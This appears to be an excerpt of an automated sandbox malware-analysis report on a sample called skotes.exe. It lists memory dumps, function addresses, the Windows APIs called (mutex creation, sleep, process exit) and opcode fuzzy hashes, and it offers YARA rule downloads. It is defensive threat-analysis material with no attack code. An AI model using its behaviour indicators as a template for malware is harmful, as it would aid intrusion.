Associated: 00000001.00000002.1757034284.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757047711.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757060820.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757074250.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757093546.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757112856.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757131402.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757208261.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757226314.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757244508.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757263748.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757282378.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757303866.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757317898.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 9d51bf5fd4c0f6219d0cc63730003b3f7de3357246d15e097d0546060fc1741c
Instruction ID: 98fc44761e12f7c32f41fb70c89f3635450e1f0371e71fe8d8734fb246079482
Opcode Fuzzy Hash: 9d51bf5fd4c0f6219d0cc63730003b3f7de3357246d15e097d0546060fc1741c
Instruction Fuzzy Hash: 2EA1E270A01315EFDB20DFA5D9457AAB7A8FF19354F088129E819D7281EB31EA44CBB1

Function 00D3CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00D3CC66

Memory Dump Source

Source File: 00000001.00000002.1756461628.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000001.00000002.1756443196.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756461628.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756508194.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756520345.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756533533.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756546054.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756558311.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756651854.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756666843.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756684321.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756699329.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756743885.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756757222.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756770262.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756783629.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756798424.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756812035.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756829632.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756843274.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756856511.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756874939.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756893133.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756907723.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756922260.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756937746.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756951638.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756966337.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756980874.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756993762.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757006365.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757020181.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757034284.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757047711.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757060820.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757074250.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757093546.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757112856.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757131402.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757208261.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757226314.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757244508.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757263748.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757282378.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757303866.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757317898.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: 15a764062197cbee0aec5f003c9a65fba04ed30f48d31010ded4bb8a1c2ac991
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: 25B13632D246859FDB25CF28C881BBEBBE5EF45340F18916AE855FB242D6349D41CB70

Function 00D1BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00D1BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00D1BBE4
_xtime_get.LIBCPMT ref: 00D1BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00D1BC13

Memory Dump Source

Source File: 00000001.00000002.1756461628.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000001.00000002.1756443196.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756461628.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756508194.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756520345.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756533533.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756546054.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756558311.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756651854.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756666843.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756684321.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756699329.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756743885.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756757222.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756770262.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756783629.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756798424.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756812035.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756829632.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756843274.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756856511.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756874939.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756893133.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756907723.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756922260.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756937746.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756951638.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756966337.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756980874.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756993762.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757006365.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757020181.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757034284.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757047711.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757060820.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757074250.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757093546.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757112856.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757131402.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757208261.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757226314.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757244508.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757263748.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757282378.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757303866.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757317898.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 097d4551922cf87927349f136198cfc32adaac250aa44b946ca3407a1b97d408
Instruction ID: 74201c952cffb2efb4521c76fad45315922864046576dc1d392d3b64b75d9b81
Opcode Fuzzy Hash: 097d4551922cf87927349f136198cfc32adaac250aa44b946ca3407a1b97d408
Instruction Fuzzy Hash: A5211D71A11219BFDF00EBA4E8859FEBBB9EF08710F101056F901A7261DF349D419BB1

Analysis Process: skotes.exePID: 4208, Parent PID: 6972COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1941
Total number of Limit Nodes:	9

Executed Functions

Function 00D3652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00D3652A,?,?,?,?,?,00D37661), ref: 00D36567

Memory Dump Source

Source File: 00000002.00000002.1757373038.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1757353920.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757373038.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757434334.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757452417.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757471400.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757489119.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757508083.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757635441.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757654561.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757677709.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757695864.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757797587.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757824956.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757854706.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757883751.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757910637.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757936759.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757967508.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757995002.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758021172.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758062447.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758095550.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758121804.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758152560.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758182285.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758201293.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758228919.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758258779.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758284372.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758313166.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758339901.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758367543.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758393905.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758422785.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758450233.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758479683.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758508144.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758538835.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758663052.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758694293.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758723517.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758752206.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758794146.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758878317.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758920998.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 824322a367c26729a3be74e969f60d3acc40d1e06ddd6dcce5f44976221338b8
Instruction ID: 9023cb3fabac1c060117d8962ef48567e0c3e040ab190ec5f75eddc1e88c355d
Opcode Fuzzy Hash: 824322a367c26729a3be74e969f60d3acc40d1e06ddd6dcce5f44976221338b8
Instruction Fuzzy Hash: B3E08C30140108BECF26BF18D809D493BE9EB62745F048824FA19D6222CB25EE81C6B0

Function 00D09BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00D0A963
CreateMutexA.KERNELBASE(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000002.00000002.1757373038.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1757353920.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757373038.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757434334.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757452417.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757471400.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757489119.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757508083.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757635441.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757654561.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757677709.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757695864.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757797587.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757824956.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757854706.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757883751.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757910637.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757936759.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757967508.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757995002.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758021172.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758062447.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758095550.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758121804.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758152560.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758182285.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758201293.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758228919.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758258779.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758284372.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758313166.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758339901.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758367543.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758393905.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758422785.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758450233.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758479683.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758508144.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758538835.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758663052.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758694293.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758723517.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758752206.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758794146.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758878317.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758920998.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 37f6d498828839295146b0be301e60d209cc761c807a5077e6b63836584227ad
Instruction ID: 6666aad80645c8b6c2a7bcc2fc94eb7b30dbe7f6d23fd2e4bccb072b15201bc8
Opcode Fuzzy Hash: 37f6d498828839295146b0be301e60d209cc761c807a5077e6b63836584227ad
Instruction Fuzzy Hash: E6312671B442049BFB08DB7CECD97ADF7A2EB86324F248219E019973D6C77599808771

Function 00D09F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00D0A963
CreateMutexA.KERNELBASE(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000002.00000002.1757373038.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1757353920.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757373038.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757434334.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757452417.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757471400.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757489119.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757508083.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757635441.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757654561.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757677709.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757695864.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757797587.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757824956.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757854706.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757883751.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757910637.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757936759.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757967508.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757995002.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758021172.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758062447.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758095550.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758121804.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758152560.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758182285.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758201293.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
